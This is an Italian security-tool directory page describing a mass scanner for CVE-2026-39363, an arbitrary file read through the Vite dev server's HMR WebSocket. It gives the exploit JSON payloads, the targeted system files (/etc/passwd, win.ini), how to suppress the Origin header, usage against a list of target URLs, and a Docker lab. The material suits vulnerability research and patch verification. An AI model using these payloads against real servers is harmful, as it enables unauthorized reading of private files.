Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39363 — Scanner di vulnerabilità in batch per CVE-2026-39363 nel server di sviluppo Vite, che sfrutta il bypass della validazione dell'origine WebSocket per leggere file arbitrari tramite fetchModule con il protocollo file://. | Kitploit
Strumenti/GitHubGitHub/f4s1on/cve-2026-39363
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubf4s1on/cve-2026-39363

CVE-2026-39363

Scanner di vulnerabilità in batch per CVE-2026-39363 nel server di sviluppo Vite, che sfrutta il bypass della validazione dell'origine WebSocket per leggere file arbitrari tramite fetchModule con il protocollo file://.

Vedi Repository
24 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39363 — Lettura arbitraria di file tramite WebSocket del Vite Dev Server, rilevamento di massa

Disclaimer: Questo strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi di ricerca educativa. L'utente è tenuto a rispettare le leggi e le normative locali; la scansione o l'attacco non autorizzato di sistemi altrui costituisce un reato. L'autore non si assume alcuna responsabilità per usi impropri.

Descrizione della vulnerabilità

Il server di sviluppo Vite (6.0.0 ~ 6.4.1, 7.0.0 ~ 7.3.1, 8.0.0 ~ 8.0.4) non verifica l'intestazione Origin nel WebSocket HMR. Un attaccante può invocare fetchModule tramite l'evento vite:invoke, utilizzando il protocollo file:// insieme al parametro ?raw per aggirare la restrizione server.fs.allow e leggere file arbitrari dal server.

Flusso di rilevamento

root@kitploit:~
url.txt → http://host:porta
  ↓ analisi host + porta
  ↓
┌─ Step 1: tentativo ws://host:porta specificata
│  ├─ handshake WebSocket riuscito + exploit riuscito → vulnerabilità presente
│  └─ fallimento → se la porta specificata == 5173 → nessuna vulnerabilità
│
└─ Step 3: rilevamento host:5173 (solo se la porta specificata ≠ 5173)
   ├─ porta chiusa → nessuna vulnerabilità
   └─ porta aperta → handshake WebSocket + exploit sulla 5173
        ├─ riuscito → vulnerabilità presente
        └─ fallimento → nessuna vulnerabilità

Utilizzo

Installazione delle dipendenze

root@kitploit:~
pip install -r requirements.txt

Attivazione e disattivazione del proxy

Per attivare il proxy, rimuovere il commento dalle righe 26-27 dello script

root@kitploit:~
# Per attivare il proxy, rimuovere il commento dalle due righe seguenti e impostare indirizzo e porta corretti
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"

Preparazione dei target

Inserire gli URL target in url.txt, uno per riga:

root@kitploit:~
http://192.168.1.100:5173
http://example.com
http://target.cn:8080

Esecuzione

root@kitploit:~
python cve_2026_39363.py

Output

Terminale:

root@kitploit:~
[*] Caricati 3 URL, scansione con 3 thread...

http://192.168.1.100:5173 vulnerabile (Linux)
http://example.com vulnerabile (Linux)
http://target.cn:8080 non vulnerabile

[*] Completato. 2/3 vulnerabili, tempo trascorso 3.2s
[*] Risultati salvati in result.txt

result.txt:

root@kitploit:~
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)

Ogni riga contiene il tipo di POC (Linux / Windows), che identifica le caratteristiche del file letto con successo.

File di verifica POC

Sistema targetFile lettoMarcatore caratteristico
Linuxfile:///etc/passwd?rawroot:
Windowsfile:///C:/Windows/win.ini?rawfor 16-bit app support

Payload dell'exploit

Supporta due formati di payload (tentati in ordine):

  1. Formato PoC Vulhub: {"id":"send:0","name":"fetchModule","data":[file_path]}
  2. Formato RPC interno: {"fn":"fetchModule","args":[file_path]}

Parametri chiave del WebSocket

ParametroValoreMotivo
Sottoprotocollovite-hmrRequisito del WebSocket HMR di Vite
OriginInvio soppresso (suppress_origin=True)Vite rifiuta connessioni non-browser con intestazione Origin

Test dell'ambiente vulnerabile con Docker

root@kitploit:~
# Avvio
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1

# Scansione
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py

# Pulizia
docker stop vite-vuln && docker rm vite-vuln

Domande frequenti

D: Tutti i rilevamenti restituiscono "non vulnerabile"?

  • Verificare che la porta 5173 del target sia aperta
  • Verificare che il server dev di Vite sia esposto alla rete tramite --host o server.host
  • Verificare che WebSocket non sia disabilitato con server.ws: false

D: Output illeggibile su Windows?

  • Lo script gestisce automaticamente il problema; se persiste, verificare che il terminale utilizzi la codifica UTF-8

D: Il file url.txt generato da PowerShell non viene analizzato?

  • Lo script utilizza utf-8-sig per saltare automaticamente il BOM
Scarica lo strumento